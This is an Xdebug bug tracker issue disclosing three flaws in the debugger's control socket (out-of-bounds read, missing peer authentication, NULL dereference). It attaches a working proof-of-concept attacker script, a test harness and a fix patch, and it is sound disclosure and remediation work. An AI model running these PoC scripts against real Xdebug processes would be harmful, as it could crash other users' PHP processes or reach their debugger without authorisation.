View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0002424 | Xdebug | Step Debugging | public | 2026-05-20 00:36 | 2026-06-08 14:36 |
| Reporter | ilia | Assigned To | derick | ||
| Priority | normal | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | open | ||
| Product Version | 3.5.1 | ||||
| Target Version | 3.5dev | Fixed in Version | 3.5.3 | ||
| Summary | 0002424: Control-socket buffer crashes | ||||
| Description | 3 issues in 1 file, so 1 patch to keep it simple
Fix:
Test covers 1st & last | ||||
| Steps To Reproduce |
| ||||
| Tags | No tags attached. | ||||
| Attached Files | attacker.php (2,254 bytes)
<?php
/* XD-004 attacker. Connects to xdebug control socket and fires
* one of the three sub-bugs:
*
* a) 256-byte non-NUL non-space payload -- OOB read on the
* 256-byte stack buffer (no trailing NUL).
* b) ps command from any local UID -- demonstrates absence of
* authentication on the abstract socket.
* c) empty send (immediate close) -- NULL deref via
* lookup_cmd(NULL).
*
* Usage: php attacker.php <victim_pid> [a|b|c]
*/
if ($argc < 2) {
fwrite(STDERR, "usage: php $argv[0] <victim_pid> [a|b|c]\n");
exit(1);
}
$pid = (int) $argv[1];
$mode = $argv[2] ?? 'a';
$sock = socket_create(AF_UNIX, SOCK_STREAM, 0);
if (!@socket_connect($sock, "\x00xdebug-ctrl.$pid")) {
fwrite(STDERR, "connect failed: " . socket_strerror(socket_last_error($sock)) . "\n");
exit(2);
}
switch ($mode) {
case 'a':
$payload = '';
for ($i = 0; $i < 256; $i++) {
$payload .= chr(mt_rand(0x21, 0x7E));
}
echo "sending 256-byte non-NUL non-space payload\n";
socket_write($sock, $payload, 256);
$reply = @socket_read($sock, 4096);
echo "reply: " . ($reply === false ? "closed (auth gate rejected)" : strlen($reply) . " bytes") . "\n";
break;
case 'b':
echo "sending 'ps' as " . posix_geteuid() . " (target uid: see victim)\n";
socket_write($sock, "ps", 2);
$reply = @socket_read($sock, 4096);
if ($reply === false || $reply === "") {
echo "reply: closed -- auth gate rejected (XD-004b FIXED)\n";
} else {
echo "reply: " . strlen($reply) . " bytes -- accepted (XD-004b PRESENT if attacker uid differs from victim uid)\n";
}
break;
case 'c':
echo "sending 0-byte payload (immediate close)\n";
socket_close($sock);
echo "socket closed\n";
sleep(1);
$sock2 = socket_create(AF_UNIX, SOCK_STREAM, 0);
$alive = @socket_connect($sock2, "\x00xdebug-ctrl.$pid");
echo "victim alive after empty send: " . ($alive ? "YES (XD-004c FIXED)" : "NO (CRASHED -- XD-004c PRESENT)") . "\n";
@socket_close($sock2);
break;
default:
fwrite(STDERR, "unknown mode (a|b|c)\n");
exit(3);
}
run.sh (1,870 bytes)
#!/usr/bin/env bash
# XD-004 PoC orchestrator. Runs all three sub-bugs against a fresh victim.
#
# Edit these paths or pass via env:
PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php}
XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so}
ATTACKER_PHP=${ATTACKER_PHP:-php}
MODE=${1:-all}
set -u
HERE=$(dirname "$0")
if [ ! -x "$PHP" ]; then echo "PHP=$PHP not executable"; exit 2; fi
if [ ! -f "$XDEBUG_SO" ]; then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi
if ! command -v "$ATTACKER_PHP" >/dev/null; then
echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2
fi
run_case() {
local CASE="$1"
local VICTIM_OUT
local LOG
VICTIM_OUT=$(mktemp)
LOG=$(mktemp)
trap 'rm -f "$VICTIM_OUT" "$LOG"' RETURN
echo "=== XD-004$CASE ==="
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \
"$PHP" \
-d zend_extension="$XDEBUG_SO" \
-d xdebug.mode=develop \
-d xdebug.control_socket=default \
-d xdebug.log="$LOG" \
-d xdebug.log_level=10 \
"$HERE/victim.php" \
>"$VICTIM_OUT" 2>&1 &
local VICTIM_BG=$!
sleep 1
local PID
PID=$(grep -oE 'pid=[0-9]+' "$VICTIM_OUT" | head -1 | cut -d= -f2)
if [ -z "$PID" ]; then
echo "victim never printed its PID"
kill "$VICTIM_BG" 2>/dev/null || true
return 3
fi
echo "victim pid=$PID (uid=$(id -u))"
"$ATTACKER_PHP" "$HERE/attacker.php" "$PID" "$CASE"
wait "$VICTIM_BG" 2>/dev/null
echo "--- xdebug.log relevant lines ---"
grep -E "CTRL-AUTH|CTRL-HANDLE" "$LOG" 2>/dev/null || echo " (none)"
echo "--- victim stderr tail ---"
tail -10 "$VICTIM_OUT"
echo
}
case "$MODE" in
a|b|c) run_case "$MODE" ;;
all) run_case a; run_case b; run_case c ;;
*) echo "usage: $0 [a|b|c|all]"; exit 1 ;;
esac
victim.php (222 bytes)
<?php
echo "pid=" . getmypid() . "\n";
flush();
function tick()
{
return 1;
}
$end = microtime(true) + 8;
while (microtime(true) < $end) {
for ($i = 0; $i < 100; $i++) {
tick();
}
usleep(1000);
}
xd004_fix.patch (2,700 bytes)
diff --git a/src/base/ctrl_socket.c b/src/base/ctrl_socket.c
index c0d328e0..031f96fc 100644
--- a/src/base/ctrl_socket.c
+++ b/src/base/ctrl_socket.c
@@ -144,7 +144,7 @@ static void handle_command(HANDLE h, const char *line)
retval = xdebug_xml_node_init("ctrl-response");
xdebug_xml_add_attribute(retval, "xmlns:xdebug-ctrl", "https://xdebug.org/ctrl/xdebug");
- command = lookup_cmd(cmd);
+ command = cmd ? lookup_cmd(cmd) : NULL;
if (command) {
command->handler(&retval, args);
} else {
@@ -280,6 +280,8 @@ static void xdebug_control_socket_handle(void)
}
if (FD_ISSET(XG_BASE(control_socket_fd), &working_set)) {
+ struct ucred peer_cred;
+ socklen_t peer_cred_len = sizeof(peer_cred);
int new_sd = accept(XG_BASE(control_socket_fd), NULL, NULL);
if (new_sd < 0) {
if (errno != EWOULDBLOCK) {
@@ -288,11 +290,24 @@ static void xdebug_control_socket_handle(void)
return;
}
+ if (getsockopt(new_sd, SOL_SOCKET, SO_PEERCRED, &peer_cred, &peer_cred_len) != 0) {
+ xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_WARN, "CTRL-AUTH", "Can't get peer credentials: %s", strerror(errno));
+ close(new_sd);
+ return;
+ }
+ if (peer_cred.uid != geteuid()) {
+ xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_WARN, "CTRL-AUTH", "Rejected peer with UID %lu (expected %lu)",
+ (unsigned long) peer_cred.uid, (unsigned long) geteuid());
+ close(new_sd);
+ return;
+ }
+
memset(buffer, 0, sizeof(buffer));
- bytes_read = read(new_sd, buffer, sizeof(buffer));
+ bytes_read = read(new_sd, buffer, sizeof(buffer) - 1);
if (bytes_read == -1) {
xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_WARN, "CTRL-HANDLE", "Can't receive from socket: %s", strerror(errno));
- } else {
+ } else if (bytes_read > 0) {
+ buffer[bytes_read] = '\0';
xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_INFO, "CTRL-HANDLE", "Received: '%s'", buffer);
handle_command(new_sd, buffer);
}
@@ -353,7 +368,7 @@ static void xdebug_control_socket_handle(void)
if (!ReadFile(
XG_BASE(control_socket_h),
buffer,
- sizeof(buffer),
+ sizeof(buffer) - 1,
&bytes_read,
&XG_BASE(control_socket_ov)
)) {
@@ -371,8 +386,11 @@ static void xdebug_control_socket_handle(void)
}
}
- xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_INFO, "CTRL-HANDLE", "Received: '%s'", buffer);
- handle_command(XG_BASE(control_socket_h), buffer);
+ if (bytes_read > 0) {
+ buffer[bytes_read] = '\0';
+ xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_INFO, "CTRL-HANDLE", "Received: '%s'", buffer);
+ handle_command(XG_BASE(control_socket_h), buffer);
+ }
WaitForSingleObject(XG_BASE(control_socket_ov).hEvent, INFINITY);
GetOverlappedResult(XG_BASE(control_socket_h), &XG_BASE(control_socket_ov), &bytes_read, FALSE);
| ||||
| Operating System | |||||
| PHP Version | 8.4.10-8.4.19 | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-05-20 00:36 | ilia | New Issue | |
| 2026-05-20 00:36 | ilia | File Added: attacker.php | |
| 2026-05-20 00:36 | ilia | File Added: run.sh | |
| 2026-05-20 00:36 | ilia | File Added: victim.php | |
| 2026-05-20 00:36 | ilia | File Added: xd004_fix.patch | |
| 2026-05-20 16:43 | ilia | Description Updated | |
| 2026-05-20 16:43 | ilia | Steps to Reproduce Updated | |
| 2026-05-28 14:55 | derick | Assigned To | => derick |
| 2026-05-28 14:55 | derick | Status | new => feedback |
| 2026-06-02 22:15 | ilia | Status | feedback => assigned |
| 2026-06-08 09:48 | derick | Summary | Control-socket buffer + auth + NULL-deref cluster in xdebug (base/ctrl_socket.c) => Control-socket buffer crashes |
| 2026-06-08 10:03 | derick | Note Added: 0007516 | |
| 2026-06-08 10:44 | derick | Status | assigned => closed |
| 2026-06-08 10:44 | derick | Product Version | => 3.5.1 |
| 2026-06-08 10:44 | derick | Fixed in Version | => 3.5dev |
| 2026-06-08 10:44 | derick | Target Version | => 3.5dev |
| 2026-06-08 13:35 | derick | Description Updated | |
| 2026-06-08 13:35 | derick | Steps to Reproduce Updated | |
| 2026-06-08 13:36 | derick | Steps to Reproduce Updated | |
| 2026-06-08 13:44 | derick | Category | Uncategorized => Step Debugging |
| 2026-06-08 13:44 | derick | View Status | private => public |
| 2026-06-08 14:28 | derick | Fixed in Version | 3.5dev => 3.5.2 |
| 2026-06-08 14:36 | derick | Fixed in Version | 3.5.2 => 3.5.3 |